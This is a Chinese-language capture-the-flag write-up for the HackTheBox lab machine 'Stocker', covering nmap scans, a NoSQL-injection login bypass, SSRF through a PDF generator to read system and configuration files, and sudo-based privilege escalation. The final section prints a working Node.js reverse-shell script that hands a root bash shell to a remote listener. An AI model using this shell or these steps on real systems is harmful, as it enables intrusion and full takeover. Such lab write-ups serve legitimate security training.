Stocker

一、端口扫描

1
2
3
4
sudo nmap -sT --min-rate 10000 -p- 10.10.11.196
sudo nmap -sU --top-ports 20 10.10.11.196
sudo nmap -sT -sCV -O -p22,80 10.10.11.196
sudo nmap --script=vlun 10.10.11.196

二、Web渗透

  • 打开web页面

  • 常规目录扫描没发现有用的信息,但是子域名爆破爆出了一个可能有用的域名

  • 访问子域名dev.stocker.htb,发现有个登录页面,指纹识别为node.js

  • 尝试sql注入,由于是nodejs环境,常规sql注入没用,利用nosql注入,成功登录

  • 登录进来后发现是个购买页面

  • 先按照正常操作点一遍,发现点击add to busker后再点击view cart可以提交,随后生成一个PDF文件

  • 把这个PDF下载到本地,使用exiftools查看一下文件信息

  • 发现Skia PDF,Google一下exploit,发现可以抓包构造一下title通过ssrf读取到passwd文件

    参考网址:https://techkranti.com/ssrf-aws-metadata-leakage/

  • 发现ssrf可以利用之后就想办法读取网站的一些配置文件,通过报错和Google发现了根目录/var/www/dev

  • 由于是nodejs框架,访问根目录index.js文件,发现了一串密码

  • 由于之前查看passwd文件时,发现用户只有root和angoose,于是两个都尝试一下ssh,最终成功登录angoose用户,获取到user.txt

三、提权

  • 先sudo -l看看,发现可以用root权限运行js文件

  • 生成一个js反弹shell命令,写一个js文件跨目录运行一下

    反弹命令:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    (function(){
    var net = require("net"),
    cp = require("child_process"),
    sh = cp.spawn("\/bin/bash", []);
    var client = new net.Socket();
    client.connect(7777, "10.10.14.11", function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
    })();
  • 拿到root.txt